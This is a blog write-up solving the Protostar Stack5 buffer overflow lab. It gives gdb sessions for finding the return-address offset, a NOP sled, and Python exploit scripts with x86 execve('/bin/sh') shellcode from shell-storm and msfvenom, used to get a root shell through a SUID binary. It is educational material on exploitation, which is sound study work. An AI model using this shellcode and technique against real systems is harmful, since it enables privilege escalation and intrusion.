In this post we will continue with the resolution of the stack challenges from Protostar, I recommend that you read the previous posts where we solve the first 5 challenges: (0-2) (3-4).
As I said in the previous entries, I am no expert in exploiting, so if you have any correction or recommendation do not hesitate to comment on it.
Stack 5
I recommned this video to resolve the challenge: liveoverflow
About
Stack5 is a standard buffer overflow, this time introducing shellcode.
This level is at /opt/protostar/bin/stack5Hints
At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.
Source Code:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
As the statement says, this is the first challenge in which we face a standard buffer overflow.
You must inject code in memory that, ‘tricking’ the operation of the program, will be executed as root since the SUID bit (the binary runs as the owner) is activated. Real buffer overflow exploits are based on this
Reading the source code we see that it’s a very simple program, it only creates a 64 buffer and calls gets(). We must overflow the buffer by rewriting the return address pointing to our shellcode.
Suppose we do not have the source code, let’s disassemble the main with gdb:
We are setting a breakpoint just before the end of the program to analyze the registers:
(gdb) b * 0x080483da Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
Through ‘i r’ or ‘info registers’ we can analyze the records. Let’s execute it:
EAX must contain the string we have entered: “ABCDEF” and therefore the beginning of the buffer is in 0xbffff730.
(gdb) x/s 0xbffff730 0xbffff730: "ABCDEF"
The ESP register (stack register) points to 0xbffff77c then we can calculate the length of our padding:
(gdb) p/d 0xbffff77c - 0xbffff730 $1 = 76
We see that our padding is length 76; other possible way to see it is using Msf-pattern:
$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A (gdb) r Starting program: /opt/protostar/bin/stack5 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x63413563 in ?? () $ msf-pattern_offset -q 0x63413563 [*] Exact match at offset 76
Now we can overwrite the return address, let’s demostraste this entering 76 ‘A’s and 4’ B’s:
$ python -c 'print "A"*76+"B"*4' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB (gdb) r Starting program: /opt/protostar/bin/stack5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149 ) at stack5/stack5.c:11 11 stack5/stack5.c: No such file or directory. in stack5/stack5.c (gdb) x/s 0xbffff77c 0xbffff77c: "BBBB"
As you can see the content of 0xbffff77c is the 4 ‘B’s, so we can already handle the return address.
Now we are going to create an exploit to verify that we can execute arbitrary code, for this we will use the Interrupt 3 instruction that will basically stop the program execution: a breakpoint.
The return address must be 0xbffff77c+4, to see it more easily:
python -c 'print "A"*76+"B"*4+"C"*100'
As you can see, the return address must point the beginning of our shellcode, in this case: 0xbffff780 (0xbffff77c+4)
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) shellcode="\xCC"*4 print padding+ret+shellcode
However, this exploit may not work out of gdb because the addresses that are stored in the stack change in gdb.
To solve this, the simplest method is to create a “NOP sled” strong>(NOP = No Operation)
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) nop="\x90"*20 # NOPs shellcode="\xCC"*4 print padding+ret+nop+shellcode
We see that it works, now we want to execute a shell (“/bin/sh”) as root (remember that the suid bit is active).
We can generate the shellcode with msfvenom or look for one in http://shell-storm.org/shellcode/.
Using the shellcode of shell-storm.org (Linux x86 execve (“/ bin / sh”) ):
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) nops="\x90"*20 shellcode = "" shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89" shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b" shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80" print padding+ret+nops+shellcode
To execute it:
(python /home/user/exploit.py;cat)|./stack5
*If we do not put ‘;cat’ the exploit will be executed but it will exit when the execution is finished so we will not be able to enter commands.
·Using msfvenom:
msfvenom -p linux/x86/exec CMD=/bin/sh -f py
import struct def m32(dir): return struct.pack("I",dir) padding="A"*76 ret=m32(0xbffff780) nop="\x90"*20 # NOPs buf = "" buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f" buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08" buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53" buf += "\x89\xe1\xcd\x80" shellcode=buf print padding+ret+nop+shellcode
We can now execute commands as root in the system.
Summary:
1- Identify the padding length ($esp-$eax or using msf-pattern)
2- Find the return address to which we will add 4 in order to direct the EIP to our shellcode.
3- Develop our exploit: padding+ret_dir+nops+shellcode
As I said earlier these challenges are an introduction, nowadays binaries have protection, such as NX (linux) or DEP (Windows) which makes some memory areas (usually the stack) are not executable.
Leave a Reply